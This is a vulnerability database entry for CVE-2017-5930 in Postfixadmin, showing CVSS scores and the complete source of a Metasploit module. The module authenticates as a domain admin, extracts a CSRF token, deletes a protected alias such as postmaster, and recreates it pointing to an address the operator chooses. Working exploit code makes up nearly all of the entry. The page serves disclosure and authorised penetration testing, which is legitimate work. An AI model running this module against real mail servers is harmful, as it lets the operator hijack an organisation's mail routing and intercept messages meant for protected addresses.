Lucene search

K
packetstormJay Turla, metasploit.comPACKETSTORM:180867
HistoryAug 31, 2024 - 12:00 a.m.

Postfixadmin Protected Alias Deletion

2024-08-3100:00:00
Jay Turla, metasploit.com
packetstormsecurity.com
10
postfixadmin
protected alias
deletion
vulnerability
unauthorized
mail redirection
security
metasploit
exploit
remote
http
authentication
csrf-token
domain list

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

2.7

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',  
'Description' => %q{  
Postfixadmin installations between 2.91 and 3.0.1 do not check if an  
admin is allowed to delete protected aliases. This vulnerability can be  
used to redirect protected aliases to an other mail address. Eg. rewrite  
the postmaster@domain alias  
},  
'Author' => [ 'Jan-Frederik Rieckers' ],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2017-5930'],  
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],  
['BID', '96142'],  
],  
'Privileged' => true,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DisclosureDate' => '2017-02-03'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),  
OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),  
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),  
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])  
]  
)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def target_alias  
datastore['TARGET_ALIAS']  
end  
  
def new_goto  
datastore['NEW_GOTO']  
end  
  
def check  
res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' })  
  
return Exploit::CheckCode::Unknown unless res  
  
return Exploit::CheckCode::Safe if res.code != 200  
  
if res.body =~ /<div id="footer".*Postfix Admin/m  
version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi)  
return Exploit::CheckCode::Detected unless version  
if Rex::Version.new('2.91') > Rex::Version.new(version[1])  
return Exploit::CheckCode::Detected  
elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1])  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def run  
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")  
cookie = postfixadmin_login(username, password)  
fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?  
print_good('Authenticated with Postfixadmin')  
  
vprint_status('Requesting virtual_list')  
res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)  
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?  
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?  
body = res.body  
vprint_status('Get token')  
token = body.match(/token=([0-9a-f]{32})/)  
fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token  
  
t = token[1]  
  
print_status('Delete the old alias')  
res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)  
  
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?  
  
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)  
  
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi  
if res.nil? || res.body.nil?  
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')  
elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi  
fail_with(Failure::NotVulnerable, 'It seems the target is not vulnerable, the deletion of the target alias failed.')  
else  
fail_with(Failure::Unknown, 'An unexpected failure occurred.')  
end  
end  
print_good('Deleted the old alias')  
  
vprint_status('Will create the new alias')  
post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto }  
  
res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)  
  
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?  
  
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)  
  
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi  
if res.nil? || res.body.nil?  
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')  
elsif res.body =~ /<ul class="flash-error">/mi  
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')  
else  
fail_with(Failure::Unknown, 'An unexpected failure occurred.')  
end  
end  
print_good('New alias created')  
end  
  
# Performs a Postfixadmin login  
#  
# @param user [String] Username  
# @param pass [String] Password  
# @param timeout [Integer] Max seconds to wait before timeout, defaults to 20  
#  
# @return [String, nil] The session cookie as single string if login was successful, nil otherwise  
def postfixadmin_login(user, pass, timeout = 20)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => postfixadmin_url_login,  
'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' }  
}, timeout)  
if res && res.redirect?  
cookies = res.get_cookies  
return cookies if  
cookies =~ /PHPSESSID=/  
end  
  
nil  
end  
  
def postfixadmin_url_login  
normalize_uri(target_uri.path, 'login.php')  
end  
  
def postfixadmin_url_list(domain = nil)  
modifier = domain.nil? ? '' : "?domain=#{domain}"  
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)  
end  
  
def postfixadmin_url_alias_delete(target, token)  
normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")  
end  
  
def postfixadmin_url_edit  
normalize_uri(target_uri.path, 'edit.php')  
end  
end  
`

CVSS2

3.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

CVSS3

2.7

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

AI Score

7

Confidence

Low